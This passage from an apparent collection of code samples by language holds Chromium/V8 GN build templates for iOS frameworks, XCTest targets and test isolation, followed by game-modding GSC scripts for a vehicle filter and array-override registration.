{\n    if (_has_public_headers) {\n      _public_headers = invoker.public_headers\n      _framework_root = \"$root_out_dir/$_output_name.framework\"\n\n      _header_map_filename = \"$target_gen_dir/$_output_name.headers.hmap\"\n\n      _compile_headers_map_target = _target_name + \"_compile_headers_map\"\n      action(_compile_headers_map_target) {\n        visibility = [ \":$_framework_headers_target\" ]\n        script = \"//build/config/ios/write_framework_hmap.py\"\n        outputs = [\n          _header_map_filename,\n        ]\n\n        # The header map generation only wants the list of headers, not all of\n        # sources, so filter any non-header source files from \"sources\". It is\n        # less error prone that having the developer duplicate the list of all\n        # headers in addition to \"sources\".\n        set_sources_assignment_filter([\n                                        \"*.c\",\n                                        \"*.cc\",\n                                        \"*.cpp\",\n                                        \"*.m\",\n                                        \"*.mm\",\n                                      ])\n        sources = invoker.sources\n        set_sources_assignment_filter([])\n\n        args = [\n                 rebase_path(_header_map_filename),\n                 rebase_path(_framework_root, root_build_dir),\n               ] + rebase_path(sources, root_build_dir)\n      }\n\n      _create_module_map_target = _target_name + \"_module_map\"\n      action(_create_module_map_target) {\n        visibility = [ \":$_framework_headers_target\" ]\n        script = \"//build/config/ios/write_framework_modulemap.py\"\n        outputs = [\n          \"$_framework_root/Modules/module.modulemap\",\n        ]\n        args = [ rebase_path(\"$_framework_root\", root_build_dir) ]\n      }\n\n      _copy_public_headers_target = _target_name + \"_copy_public_headers\"\n      copy(_copy_public_headers_target) {\n        visibility = [ \":$_framework_headers_target\" ]\n        sources = _public_headers\n        outputs = [\n          \"$_framework_root/Headers/{{source_file_part}}\",\n        ]\n      }\n\n      config(_headers_map_config) {\n        visibility = [ \":$_target_name\" ]\n        include_dirs = [ _header_map_filename ]\n      }\n\n      group(_framework_headers_target) {\n        deps = [\n          \":$_compile_headers_map_target\",\n          \":$_copy_public_headers_target\",\n          \":$_create_module_map_target\",\n        ]\n      }\n\n      config(_framework_headers_config) {\n        # The link settings are inherited from the framework_bundle config.\n        cflags = [\n          \"-F\",\n          rebase_path(\"$root_out_dir/.\", root_build_dir),\n        ]\n      }\n    }\n\n    lipo_binary(_lipo_shared_library_target) {\n      forward_variables_from(invoker,\n                             [\n                               \"configs\",\n                               \"testonly\",\n                             ])\n\n      visibility = [ \":$_target_name\" ]\n      output_name = _output_name\n      arch_binary_target = \":$_arch_shared_library_target\"\n      arch_binary_output = _output_name\n    }\n\n    _framework_public_config = _target_name + \"_public_config\"\n    config(_framework_public_config) {\n      # TODO(sdefresne): should we have a framework_dirs similar to lib_dirs\n      # and include_dirs to avoid duplicate values on the command-line.\n      visibility = [ \":$_target_name\" ]\n      ldflags = [\n        \"-F\",\n        rebase_path(\"$root_out_dir/.\", root_build_dir),\n      ]\n      lib_dirs = [ root_out_dir ]\n      libs = [ \"$_output_name.framework\" ]\n    }\n\n    _info_plist_target = _target_name + \"_info_plist\"\n    _info_plist_bundle = _target_name + \"_info_plist_bundle\"\n    ios_info_plist(_info_plist_target) {\n      visibility = [ \":$_info_plist_bundle\" ]\n      executable_name = _output_name\n      forward_variables_from(invoker,\n                             [\n                               \"extra_substitutions\",\n                               \"info_plist\",\n                               \"info_plist_target\",\n                             ])\n    }\n\n    bundle_data(_info_plist_bundle) {\n      visibility = [ \":$_target_name\" ]\n      forward_variables_from(invoker, [ \"testonly\" ])\n      sources = get_target_outputs(\":$_info_plist_target\")\n      outputs = [\n        \"{{bundle_root_dir}}/Info.plist\",\n      ]\n      public_deps = [\n        \":$_info_plist_target\",\n      ]\n    }\n\n    create_signed_bundle(_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"bundle_deps\",\n                               \"bundle_deps_filter\",\n                               \"data_deps\",\n                               \"deps\",\n                               \"enable_code_signing\",\n                               \"public_configs\",\n                               \"public_deps\",\n                               \"testonly\",\n                               \"visibility\",\n                             ])\n\n      product_type = \"com.apple.product-type.framework\"\n      bundle_extension = \".framework\"\n\n      output_name = _output_name\n      bundle_binary_target = \":$_lipo_shared_library_target\"\n      bundle_binary_output = _output_name\n\n      if (!defined(deps)) {\n        deps = []\n      }\n      deps += [ \":$_info_plist_bundle\" ]\n    }\n\n    group(_target_name + \"+link\") {\n      forward_variables_from(invoker,\n                             [\n                               \"public_deps\",\n                               \"public_configs\",\n                               \"testonly\",\n                               \"visibility\",\n                             ])\n      if (!defined(public_deps)) {\n        public_deps = []\n      }\n      public_deps += [ \":$_target_name\" ]\n      if (!defined(public_configs)) {\n        public_configs = []\n      }\n      public_configs += [ \":$_framework_public_config\" ]\n\n      if (_has_public_headers) {\n        public_configs += [ \":$_framework_headers_config\" ]\n      }\n    }\n\n    bundle_data(_target_name + \"+bundle\") {\n      forward_variables_from(invoker,\n                             [\n                               \"testonly\",\n                               \"visibility\",\n                             ])\n      public_deps = [\n        \":$_target_name\",\n      ]\n      sources = [\n        \"$root_out_dir/$_output_name.framework\",\n      ]\n      outputs = [\n        \"{{bundle_resources_dir}}/Frameworks/$_output_name.framework\",\n      ]\n    }\n  }\n}\n\nset_defaults(\"ios_framework_bundle\") {\n  configs = default_shared_library_configs\n}\n\n# For Chrome on iOS we want to run XCTests for all our build configurations\n# (Debug, Release, ...). In addition, the symbols visibility is configured to\n# private by default. To simplify testing with those constraints, our tests are\n# compiled in the TEST_HOST target instead of the .xctest bundle.\ntemplate(\"ios_xctest_test\") {\n  _target_name = target_name\n  _output_name = target_name\n  if (defined(invoker.output_name)) {\n    _output_name = invoker.output_name\n  }\n\n  _xctest_target = _target_name + \"_module\"\n  _xctest_output = _output_name + \"_module\"\n\n  _host_target = _target_name\n  _host_output = _output_name\n\n  _xctest_arch_loadable_module_target = _xctest_target + \"_arch_loadable_module\"\n  _xctest_lipo_loadable_module_target = _xctest_target + \"_loadable_module\"\n\n  loadable_module(_xctest_arch_loadable_module_target) {\n    visibility = [ \":$_xctest_lipo_loadable_module_target($default_toolchain)\" ]\n    if (current_toolchain != default_toolchain) {\n      visibility += [ \":$_xctest_target\" ]\n    }\n\n    sources = [\n      \"//build/config/ios/xctest_shell.mm\",\n    ]\n    configs += [ \"//build/config/ios:xctest_config\" ]\n\n    output_dir = \"$target_out_dir/$current_cpu\"\n    output_name = _xctest_output\n    output_prefix_override = true\n    output_extension = \"\"\n  }\n\n  if (current_toolchain != default_toolchain) {\n    # For fat builds, only the default toolchain will generate a test bundle.\n    # For the other toolchains, the template is only used for building the\n    # arch-specific binary, thus the default target is just a group().\n    group(_xctest_target) {\n      forward_variables_from(invoker,\n                             [\n                               \"visibility\",\n                               \"testonly\",\n                             ])\n      public_deps = [\n        \":$_xctest_arch_loadable_module_target\",\n      ]\n    }\n  } else {\n    _xctest_info_plist_target = _xctest_target + \"_info_plist\"\n    _xctest_info_plist_bundle = _xctest_target + \"_info_plist_bundle\"\n    ios_info_plist(_xctest_info_plist_target) {\n      visibility = [ \":$_xctest_info_plist_bundle\" ]\n      info_plist = \"//build/config/ios/Module-Info.plist\"\n      extra_substitutions = [ \"MODULE_NAME=$_xctest_output\" ]\n      executable_name = _host_output\n    }\n\n    bundle_data(_xctest_info_plist_bundle) {\n      visibility = [ \":$_xctest_target\" ]\n      public_deps = [\n        \":$_xctest_info_plist_target\",\n      ]\n      sources = get_target_outputs(\":$_xctest_info_plist_target\")\n      outputs = [\n        \"{{bundle_root_dir}}/Info.plist\",\n      ]\n    }\n\n    lipo_binary(_xctest_lipo_loadable_module_target) {\n      forward_variables_from(invoker,\n                             [\n                               \"configs\",\n                               \"testonly\",\n                             ])\n\n      visibility = [ \":$_xctest_target\" ]\n      output_name = _xctest_output\n      arch_binary_target = \":$_xctest_arch_loadable_module_target\"\n      arch_binary_output = _xctest_output\n    }\n\n    _xctest_bundle = _xctest_target + \"_bundle\"\n    create_signed_bundle(_xctest_target) {\n      forward_variables_from(invoker, [ \"enable_code_signing\" ])\n      visibility = [ \":$_xctest_bundle\" ]\n\n      product_type = \"com.apple.product-type.bundle.unit-test\"\n      bundle_extension = \".xctest\"\n\n      output_name = _xctest_output\n      bundle_binary_target = \":$_xctest_lipo_loadable_module_target\"\n      bundle_binary_output = _xctest_output\n\n      deps = [\n        \":$_xctest_info_plist_bundle\",\n      ]\n    }\n\n    bundle_data(_xctest_bundle) {\n      visibility = [ \":$_host_target\" ]\n      public_deps = [\n        \":$_xctest_target\",\n      ]\n      sources = [\n        \"$root_out_dir/$_xctest_output.xctest\",\n      ]\n      outputs = [\n        \"{{bundle_plugins_dir}}/$_xctest_output.xctest\",\n      ]\n    }\n  }\n\n  ios_app_bundle(_host_target) {\n    forward_variables_from(invoker, \"*\", [ \"testonly\" ])\n\n    testonly = true\n    output_name = _host_output\n    configs += [ \"//build/config/ios:xctest_config\" ]\n\n    if (!defined(invoker.info_plist) && !defined(invoker.info_plist_target)) {\n      info_plist = \"//build/config/ios/Host-Info.plist\"\n    }\n\n    # Xcode needs those two framework installed in the application (and signed)\n    # for the XCTest to run, so install them using extra_system_frameworks.\n    _ios_platform_library = \"$ios_sdk_platform_path/Developer/Library\"\n    extra_system_frameworks = [\n      \"$_ios_platform_library/Frameworks/XCTest.framework\",\n      \"$_ios_platform_library/PrivateFrameworks/IDEBundleInjection.framework\",\n    ]\n\n    if (current_toolchain == default_toolchain) {\n      if (!defined(bundle_deps)) {\n        bundle_deps = []\n      }\n      bundle_deps += [ \":$_xctest_bundle\" ]\n    }\n\n    if (!defined(ldflags)) {\n      ldflags = []\n    }\n    ldflags += [\n      \"-Xlinker\",\n      \"-rpath\",\n      \"-Xlinker\",\n      \"@executable_path/Frameworks\",\n      \"-Xlinker\",\n      \"-rpath\",\n      \"-Xlinker\",\n      \"@loader_path/Frameworks\",\n    ]\n  }\n}\n\nset_defaults(\"ios_xctest_test\") {\n  configs = default_executable_configs\n}\n"
  },
  {
    "path": "samples/GN/isolate.gni",
    "content": "# Copyright 2016 the V8 project authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport(\"//build/config/sanitizers/sanitizers.gni\")\nimport(\"//third_party/icu/config.gni\")\nimport(\"v8.gni\")\n\ndeclare_args() {\n  # Sets the test isolation mode (noop|prepare|check).\n  v8_test_isolation_mode = \"noop\"\n}\n\ntemplate(\"v8_isolate_run\") {\n  forward_variables_from(invoker,\n                         \"*\",\n                         [\n                           \"deps\",\n                           \"isolate\",\n                         ])\n\n  # Remember target name as within the action scope the target name will be\n  # different.\n  name = target_name\n\n  assert(defined(invoker.deps))\n  assert(defined(invoker.isolate))\n\n  if (name != \"\" && v8_test_isolation_mode != \"noop\") {\n    action(name + \"_run\") {\n      testonly = true\n\n      deps = invoker.deps\n\n      script = \"//tools/isolate_driver.py\"\n\n      sources = [\n        invoker.isolate,\n      ]\n\n      inputs = [\n        # Files that are known to be involved in this step.\n        \"//tools/swarming_client/isolate.py\",\n        \"//tools/swarming_client/run_isolated.py\",\n      ]\n\n      if (v8_test_isolation_mode == \"prepare\") {\n        outputs = [\n          \"$root_out_dir/$name.isolated.gen.json\",\n        ]\n      } else if (v8_test_isolation_mode == \"check\") {\n        outputs = [\n          \"$root_out_dir/$name.isolated\",\n          \"$root_out_dir/$name.isolated.state\",\n        ]\n      }\n\n      # Translate gn to gyp variables.\n      if (is_asan) {\n        asan = \"1\"\n      } else {\n        asan = \"0\"\n      }\n      if (is_msan) {\n        msan = \"1\"\n      } else {\n        msan = \"0\"\n      }\n      if (is_tsan) {\n        tsan = \"1\"\n      } else {\n        tsan = \"0\"\n      }\n      if (is_cfi) {\n        cfi_vptr = \"1\"\n      } else {\n        cfi_vptr = \"0\"\n      }\n      if (target_cpu == \"x86\") {\n        target_arch = \"ia32\"\n      } else {\n        target_arch = target_cpu\n      }\n      if (is_debug) {\n        configuration_name = \"Debug\"\n      } else {\n        configuration_name = \"Release\"\n      }\n      if (is_component_build) {\n        component = \"shared_library\"\n      } else {\n        component = \"static_library\"\n      }\n      if (icu_use_data_file) {\n        icu_use_data_file_flag = \"1\"\n      } else {\n        icu_use_data_file_flag = \"0\"\n      }\n      if (v8_enable_inspector) {\n        enable_inspector = \"1\"\n      } else {\n        enable_inspector = \"0\"\n      }\n      if (v8_use_external_startup_data) {\n        use_external_startup_data = \"1\"\n      } else {\n        use_external_startup_data = \"0\"\n      }\n      if (v8_use_snapshot) {\n        use_snapshot = \"true\"\n      } else {\n        use_snapshot = \"false\"\n      }\n      if (v8_has_valgrind) {\n        has_valgrind = \"1\"\n      } else {\n        has_valgrind = \"0\"\n      }\n      if (v8_gcmole) {\n        gcmole = \"1\"\n      } else {\n        gcmole = \"0\"\n      }\n\n      # Note, all paths will be rebased in isolate_driver.py to be relative to\n      # the isolate file.\n      args = [\n        v8_test_isolation_mode,\n        \"--isolated\",\n        rebase_path(\"$root_out_dir/$name.isolated\", root_build_dir),\n        \"--isolate\",\n        rebase_path(invoker.isolate, root_build_dir),\n\n        # Path variables are used to replace file paths when loading a .isolate\n        # file\n        \"--path-variable\",\n        \"DEPTH\",\n        rebase_path(\"//\", root_build_dir),\n        \"--path-variable\",\n        \"PRODUCT_DIR\",\n        rebase_path(root_out_dir, root_build_dir),\n\n        # TODO(machenbach): Set variables for remaining features.\n        \"--config-variable\",\n        \"CONFIGURATION_NAME=$configuration_name\",\n        \"--config-variable\",\n        \"OS=$target_os\",\n        \"--config-variable\",\n        \"asan=$asan\",\n        \"--config-variable\",\n        \"cfi_vptr=$cfi_vptr\",\n        \"--config-variable\",\n        \"gcmole=$gcmole\",\n        \"--config-variable\",\n        \"has_valgrind=$has_valgrind\",\n        \"--config-variable\",\n        \"icu_use_data_file_flag=$icu_use_data_file_flag\",\n        \"--config-variable\",\n        \"is_gn=1\",\n        \"--config-variable\",\n        \"msan=$msan\",\n        \"--config-variable\",\n        \"tsan=$tsan\",\n        \"--config-variable\",\n        \"coverage=0\",\n        \"--config-variable\",\n        \"sanitizer_coverage=0\",\n        \"--config-variable\",\n        \"component=$component\",\n        \"--config-variable\",\n        \"target_arch=$target_arch\",\n        \"--config-variable\",\n        \"v8_enable_inspector=$enable_inspector\",\n        \"--config-variable\",\n        \"v8_use_external_startup_data=$use_external_startup_data\",\n        \"--config-variable\",\n        \"v8_use_snapshot=$use_snapshot\",\n      ]\n\n      if (is_win) {\n        args += [\n          \"--config-variable\",\n          \"msvs_version=2015\",\n        ]\n      } else {\n        args += [\n          \"--config-variable\",\n          \"msvs_version=0\",\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "samples/GSC/_spiderbot_ride.csc",
    "content": "#include clientscripts\\_utility; \r\n#include clientscripts\\_filter;\r\n\r\n#using_animtree(\"player\");\r\n\r\n\r\ninit()\r\n{\r\n\tclientscripts\\_driving_fx::add_vehicletype_callback( \"spiderbot_large\", ::drive_spiderbot );\r\n}\r\n\r\n\r\n//\r\n//\r\ndrive_spiderbot( localClientNum )\r\n{\r\n\tself endon( \"entityshutdown\" );\r\n\t\r\n\twhile( 1 )\r\n\t{\r\n\t\tself waittill( \"enter_vehicle\", player );\r\n\t\t\r\n\t\tinit_filter_karma_spiderbot( player );\r\n\t\tenable_filter_karma_spiderbot( player, 0 );\r\n                SetSavedDvar( \"r_stereo3DEyeSeparationScaler\", 0.01);\r\n\r\n\t\r\n\t\t//TODO: Get this to work in the vehicle GDT, somehow overcoming the lack of wheels\r\n\t\tif( isdefined( level._audio_spiderbot_override ) )\r\n\t\t{\r\n\t\t\tself thread [[level._audio_spiderbot_override]](player);\r\n\t\t}\r\n\r\n\t\t// This compass isn't working they way it needs to.\t\t\r\n\t\t// Create the compass\r\n//\t\tspider_compass = Spawn( player GetLocalClientNumber(), player GetOrigin(), \"script_model\" );\r\n//\t\tspider_compass SetModel( \"p6_3d_gizmo\" );\r\n//\t\tspider_compass SetViewmodelRenderflag( true );\r\n//\t\tspider_compass LinkToCamera( 5, (16, 0, 12) );\t// in/out, left/right, up/down\r\n\r\n\t\tself waittill( \"exit_vehicle\" );\r\n\r\n\t\tdisable_filter_karma_spiderbot( player, 0 );\r\n                SetSavedDvar( \"r_stereo3DEyeSeparationScaler\", 1);\r\n\r\n//\t\tspider_compass delete();\r\n\t}\r\n}\r\n"
  },
  {
    "path": "samples/GSC/array_override_common.gsc",
    "content": "#using scripts\\shared\\array_shared;\n#using scripts\\shared\\callbacks_shared;\n#using scripts\\shared\\flag_shared;\n#using scripts\\shared\\util_shared;\n#insert scripts\\shared\\shared.gsh;\n#insert scripts\\zm\\array_override\\array_override_common.gsh;\n\n#namespace array_override;\n\n#define NOTIFY_SELF(n_add) self notify(\"override_state_change\",n_type,str_name,n_add,is_override_exluded_from_notif(str_name))\n\nfunction register(str_name,n_type,func)\n{\n\tswitch(n_type)\n\t{\n\t\tcase ARRAY_RANDOM:\n\t\t\tDEFAULT(self.array_random_override,array());\n\t\t\tself.array_random_override[str_name] = func;\n\t\t\tbreak;\n\t\tcase ARRAY_RANDOMIZE:\n\t\t\tDEFAULT(self.array_randomize_override,array());\n\t\t\tself.array_randomize_override[str_name] = func;\n\t\t\tbreak;\n\t}\n\tNOTIFY_SELF(1);\n}\n\nfunction unregister(str_name,n_type)\n{\n\tswitch(n_type)\n\t{\n\t\tcase ARRAY_RANDOM:\n\t\t\tArrayRemoveIndex(self.array_random_override,str_name,1);\n\t\t\tbreak;\n\t\tcase ARRAY_RANDOMIZE:\n\t\t\tArrayRemoveIndex(self.array_randomize_override,str_name,1);\n\t\t\tbreak;\n\t}\n\tNOTIFY_SELF(-1);\n}\n\nfunction private reregister(str_name,n_type)\n{\n\tswitch(n_type)\n\t{\n\t\tcase ARRAY_RANDOM:\n\t\t\tfunc = self.array_random_override[str_name];\n\t\t\tbreak;\n\t\tcase ARRAY_RANDOMIZE:\n\t\t\tfunc = self.array_randomize_override[str_name];\n\t\t\tbreak;\n\t}\n\tif (!isdefined(func)) return;\n\tincrement_exclude_from_notif(str_name);\n\tunregister(str_name,n_type);\n\tregister(str_name,n_type,func);\n\tdecrement_exclude_from_notif(str_name);\n}\n\n#define EXCLUDE_FROM_NOTIF_DEFAULTS MAKE_ARRAY(self.override_notif_exclude) DEFAULT(self.override_notif_exclude[str_name],0);\nfunction increment_exclude_from_notif(str_name)\n{\n\tEXCLUDE_FROM_NOTIF_DEFAULTS\n\tself.override_notif_exclude[str_name]++;\n}\n\nfunction decrement_exclude_from_notif(str_name)\n{\n\tEXCLUDE_FROM_NOTIF_DEFAULTS\n\tself.override_notif_exclude[str_name]--;\n\tif (self.override_notif_exclude[str_name] <= 0) ArrayRemoveIndex(self.override_notif_exclude,str_name,1);\n}\n\nfunction private is_override_exluded_from_notif(str_name)\n{\n\tMAKE_ARRAY(self.override_notif_exclude)\n\treturn IS_TRUE(self.override_notif_exclude[str_name]);\n}\n\nfunction autoexec init_player_overrides()\n{\n\tcallback::on_connect(&on_player_connect);\n}\n\nfunction private on_player_connect()\n{\n\tself.array_random_override = array();\n\tself.array_randomize_override = array();\n}\n\nfunction register_recursive(str_name,n_type,func,b_ex_notif = false)\n{\n\tswitch(n_type)\n\t{\n\t\tcase ARRAY_RANDOM:\n\t\t\tDEFAULT(level.recursive_random_override,array());\n\t\t\tlevel.recursive_random_override[str_name] = SpawnStruct();\n\t\t\tstruct = level.recursive_random_override[str_name];\n\t\t\tbreak;\n\t\tcase ARRAY_RANDOMIZE:\n\t\t\tDEFAULT(level.recursive_randomize_override,array());\n\t\t\tlevel.recursive_randomize_override[str_name] = SpawnStruct();\n\t\t\tstruct = level.recursive_randomize_override[str_name];\n\t\t\tbreak;\n\t}\n\tstruct.func = func;\n\tstruct.b_ex_notif = b_ex_notif;\n\tstruct.count = 0;\n\tstruct.a_flag = array();\n}\n\n#define RECURSIVE_SWITCHBLOCK switch(n_type){\\\n\tcase ARRAY_RANDOM: struct = level.recursive_random_override[str_name];break;\\\n\tcase ARRAY_RANDOMIZE: struct = level.recursive_randomize_override[str_name];break;}\\\n\tif (!isdefined(struct)) return;\n\nfunction increment_register(str_name,n_type)\n{\n\tRECURSIVE_SWITCHBLOCK\n\tif (struct.count <= 0)\n\t{\n\t\tstruct.count = 0;\n\t\tif (struct.b_ex_notif) level increment_exclude_from_notif(str_name);\n\t\tlevel register(str_name,n_type,struct.func);\n\t}\n\tstruct.count++;\n\tthread update_recursive_flags(struct);\n}\n\nfunction decrement_register(str_name,n_type,b_unregister = false)\n{\n\tRECURSIVE_SWITCHBLOCK\n\tstruct.count--;\n\tif (b_unregister || struct.count <= 0)\n\t{\n\t\tlevel unregister(str_name,n_type);\n\t\tif (struct.b_ex_notif) level decrement_exclude_from_notif(str_name);\n\t\tstruct.count = 0;\n\t}\n\tthread update_recursive_flags(struct);\n}\n\nfunction run_recursive_override_instance(str_name,n_type,func)\n{\n\t//fix this\n\tid = self GetEntityNumber() + 1;\n\twait(.05 * id);\n\t//\n\tincrement_register(str_name,n_type);\n\t[[func]]();\n\tdecrement_register(str_name,n_type);\n}\n\nfunction add_recursive_override_flag(str_name,n_type,a_flags)\n{\n\tRECURSIVE_SWITCHBLOCK\n\tDEFAULT(struct.a_flag,array());\n\tforeach (flag in a_flags)\n\t{\n\t\tif (!IsArray(flag)) flag_array = array(flag);\n\t\telse flag_array = flag;\n\t\tstr_flag = flag_array[0];\n\t\tif (!IsString(str_flag)) continue;\n\t\tn_count = VAL(flag_array[1],0);\n\t\tflag_struct = SpawnStruct();\n\t\tflag_struct.flag = str_flag;\n\t\tflag_struct.required_count = n_count;\n\t\tflag_struct.comparison = flag_array[2];\n\t\tstruct.a_flag[struct.a_flag.size] = flag_struct;\n\t\tlevel flag::init(str_flag);\n\t\tupdate_specific_flag(flag_struct,struct.count);\n\t}\n}\n\nfunction update_recursive_flags(struct)\n{\n\tforeach (flag_struct in struct.a_flag)\n\t{\n\t\tupdate_specific_flag(flag_struct,struct.count);\n\t}\n}\n\nfunction private update_specific_flag(flag_struct,n_count)\n{\n\tif (IsFunctionPtr(flag_struct.required_count)) required_count = [[flag_struct.required_count]]();\n\telse required_count = flag_struct.required_count;\n\n\tif (IsFunctionPtr(flag_struct.comparison)) b_val = [[flag_struct.comparison]](n_count,required_count);\n\telse b_val = n_count === required_count;\n\n\tif (isdefined(b_val)) level flag::set_val(flag_struct.flag,b_val);\n}\n\nfunction link_to_recursive_flag(str_name,n_type,a_flag,b_waitForAll = false)\n{\n\tlevel endon(\"end_game\");\n\tif (!isdefined(a_flag)) return;\n\tif (!IsArray(a_flag)) a_flag = array(a_flag);\n\tif (b_waitForAll) {waitFunc = &flag::wait_till_all; waitClearFunc = &flag::wait_till_clear_all;}\n\telse {waitFunc = &flag::wait_till_any; waitClearFunc = &flag::wait_till_clear_all;}\n\n\twhile(1)\n\t{\n\t\tlevel [[waitFunc]](a_flag);\n\t\tlevel [[waitClearFunc]](a_flag);\n\t\twait .05;\n\t\tlevel reregister(str_name,n_type);\n\t}\n}"
  },
  {
    "path": "samples/GSC/array_override_common.gsh",
    "content": "\n#define NUM_TYPES 2\n#define ARRAY_RANDOM 0\n#define ARRAY_RANDOMIZE 1\n\n#define REGISTER_OVERRIDE(str_name,n_type,func) array_override::register(str_name,n_type,func)\n#define UNREGISTER_OVERRIDE(str_name,n_type) array_override::unregister(str_name,n_type)\n#define NOTIF_EXLUDE(str_name) array_override::increment_exclude_from_notif(str_name)\n#define REMOVE_NOTIF_EXCLUDE(str_name) array_override::decrement_exclude_from_notif(str_name)\n#define REGISTER_OVERRIDE_EX_NOTIF(str_name,n_type,func) NOTIF_EXLUDE(str_name);REGISTER_OVERRIDE(str_name,n_type,func)\n#define UNREGISTER_OVERRIDE_EX_NOTIF(str_name,n_type) UNREGISTER_OVERRIDE(str_name,n_type);REMOVE_NOTIF_EXCLUDE(str_name)\n\n#define REGISTER_RECURSIVE(str_name,n_type,func) array_override::register_recursive(str_name,n_type,func)\n#define REGISTER_RECURSIVE_EX_NOTIF(str_name,n_type,func) array_override::register_recursive(str_name,n_type,func,true)\n#define INCREMENT_REGISTER(str_name,n_type) array_override::increment_register(str_name,n_type)\n#define DECREMENT_REGISTER(str_name,n_type) array_override::decrement_register(str_name,n_type)\n#define RESET_RECURSIVE(str_name,n_type) array_override::decrement_register(str_name,n_type,true)\n#define RUN_RECURSIVE(str_name,n_type,func) array_override::run_recursive_override_instance(str_name,n_type,func)\n#define ADD_RECURSIVE_FLAG(str_name,n_type,a_flag) array_override::add_recursive_override_flag(str_name,n_type,a_flag)\n#define LINK_TO_RECURSIVE_FLAG(str_name,n_type,a_flag) thread array_override::link_to_recursive_flag(str_name,n_type,a_flag)\n#define RECURSIVE_ENDON self endon(\"disconnect\");\n\n#define CALL_ONCE_FLAG(__name) if (isdefined(level.__name)) return; level.__name = 1;\n\n#define IS_FIELD_OBJECT(_val) (isdefined(_val) && (IsEntity(_val) || (!IsInt(_val) && !IsFloat(_val) && !IsString(_val) && !IsArray(_val) && !IsFunctionPtr(_val) && !IsVec(_val))))\n#define IF_KVP_MATCH(__key,__val,__ent) struct_or_ent = __ent; if (!IS_FIELD_OBJECT(struct_or_ent)) return; if (struct_or_ent.__key === __val)\n#define IF_TARGETNAME_MATCH(__targetname,__ent) IF_KVP_MATCH(targetname,__targetname,__ent)\n#define IF_NOTEWORTHY_MATCH(__noteworthy,__ent) IF_KVP_MATCH(script_noteworthy,__noteworthy,__ent)\n\n#define RETURN_IF_ARRAY(__ret) if (IsArray(__ret)) return __ret;\n#define ARRAY_SAFE_RETURN(__listName) i = self GetEntityNumber();\\\n\t\tRETURN_IF_ARRAY(__listName[i])\\\n\t\tRETURN_IF_ARRAY(__listName[0])\\\n\t\tRETURN_IF_ARRAY(__listName)\\\n\t\treturn array();\n\n// for entries which specify which category it should be valid for (spawn requests, forced drops, dig rewards)\n#define BGB_CLASSIC 0\n#define BGB_MEGA 1\n#define BGB_ALL 2\n\n#define MAP_ASSIGN_LIST(varname) switch(GetDvarString(\"mapname\")){\\\n\tcase \"zm_zod\":varname = ZOD;break;\\\n\tcase \"zm_factory\":varname = FACTORY;break;\\\n\tcase \"zm_castle\":varname = CASTLE;break;\\\n\tcase \"zm_island\":varname = ISLAND;break;\\\n\tcase \"zm_stalingrad\":varname = STALINGRAD;break;\\\n\tcase \"zm_genesis\":varname = GENESIS;break;\\\n\tcase \"zm_prototype\":varname = PROTOTYPE;break;\\\n\tcase \"zm_asylum\":varname = ASYLUM;break;\\\n\tcase \"zm_sumpf\":varname = SUMPF;break;\\\n\tcase \"zm_theater\":varname = THEATER;break;\\\n\tcase \"zm_cosmodrome\":varname = COSMODROME;break;\\\n\tcase \"zm_temple\":varname = TEMPLE;break;\\\n\tcase \"zm_moon\":varname = MOON;break;\\\n\tcase \"zm_tomb\":varname = TOMB;break;\\\n\tdefault:return;}\n\n#define MAP_ASSIGN_LIST_RETURN(varname) MAP_ASSIGN_LIST(varname) if(!isdefined(varname)) return;\n\n#define MAP_ASSIGN_LIST_2(varname1,varname2) switch(GetDvarString(\"mapname\")){\\\n\tcase \"zm_zod\":varname1 = ZOD;varname2 = ZOD_2;break;\\\n\tcase \"zm_factory\":varname1 = FACTORY;varname2 = FACTORY_2;break;\\\n\tcase \"zm_castle\":varname1 = CASTLE;varname2 = CASTLE_2;break;\\\n\tcase \"zm_island\":varname1 = ISLAND;varname2 = ISLAND_2;break;\\\n\tcase \"zm_stalingrad\":varname1 = STALINGRAD;varname2 = STALINGRAD_2;break;\\\n\tcase \"zm_genesis\":varname1 = GENESIS;varname2 = GENESIS_2;break;\\\n\tcase \"zm_prototype\":varname1 = PROTOTYPE;varname2 = PROTOTYPE_2;break;\\\n\tcase \"zm_asylum\":varname1 = ASYLUM;varname2 = ASYLUM_2;break;\\\n\tcase \"zm_sumpf\":varname1 = SUMPF;varname2 = SUMPF_2;break;\\\n\tcase \"zm_theater\":varname1 = THEATER;varname2 = THEATER_2;break;\\\n\tcase \"zm_cosmodrome\":varname1 = COSMODROME;varname2 = COSMODROME_2;break;\\\n\tcase \"zm_temple\":varname1 = TEMPLE;varname2 = TEMPLE_2;break;\\\n\tcase \"zm_moon\":varname1 = MOON;varname2 = MOON_2;break;\\\n\tcase \"zm_tomb\":varname1 = TOMB;varname2 = TOMB_2;break;\\\n\tdefault:return;}\n\n#define MAP_ASSIGN_LIST_2_RETURN(varname1,varname2) MAP_ASSIGN_LIST_2(varname1,varname2) if(!isdefined(varname1)) return;\n\n#define MAP_ASSIGN_FUNC(varname) switch(GetDvarString(\"mapname\")){\\\n\tcase \"zm_zod\":varname = ZOD_FUNC;break;\\\n\tcase \"zm_factory\":varname = FACTORY_FUNC;break;\\\n\tcase \"zm_castle\":varname = CASTLE_FUNC;break;\\\n\tcase \"zm_island\":varname = ISLAND_FUNC;break;\\\n\tcase \"zm_stalingrad\":varname = STALINGRAD_FUNC;break;\\\n\tcase \"zm_genesis\":varname = GENESIS_FUNC;break;\\\n\tcase \"zm_prototype\":varname = PROTOTYPE_FUNC;break;\\\n\tcase \"zm_asylum\":varname = ASYLUM_FUNC;break;\\\n\tcase \"zm_sumpf\":varname = SUMPF_FUNC;break;\\\n\tcase \"zm_theater\":varname = THEATER_FUNC;break;\\\n\tcase \"zm_cosmodrome\":varname = COSMODROME_FUNC;break;\\\n\tcase \"zm_temple\":varname = TEMPLE_FUNC;break;\\\n\tcase \"zm_moon\":varname = MOON_FUNC;break;\\\n\tcase \"zm_tomb\":varname = TOMB_FUNC;break;\\\n\tdefault:return;}\n\n#define MAP_ASSIGN_FUNC_RETURN(varname) MAP_ASSIGN_FUNC(varname) if (!isdefined(varname)) return;\n\n#define MAP_ASSIGN_FUNC_2(varname1,varname2) switch(GetDvarString(\"mapname\")){\\\n\tcase \"zm_zod\":varname1 = ZOD_FUNC;varname2 = ZOD_FUNC_2;break;\\\n\tcase \"zm_factory\":varname1 = FACTORY_FUNC;varname2 = 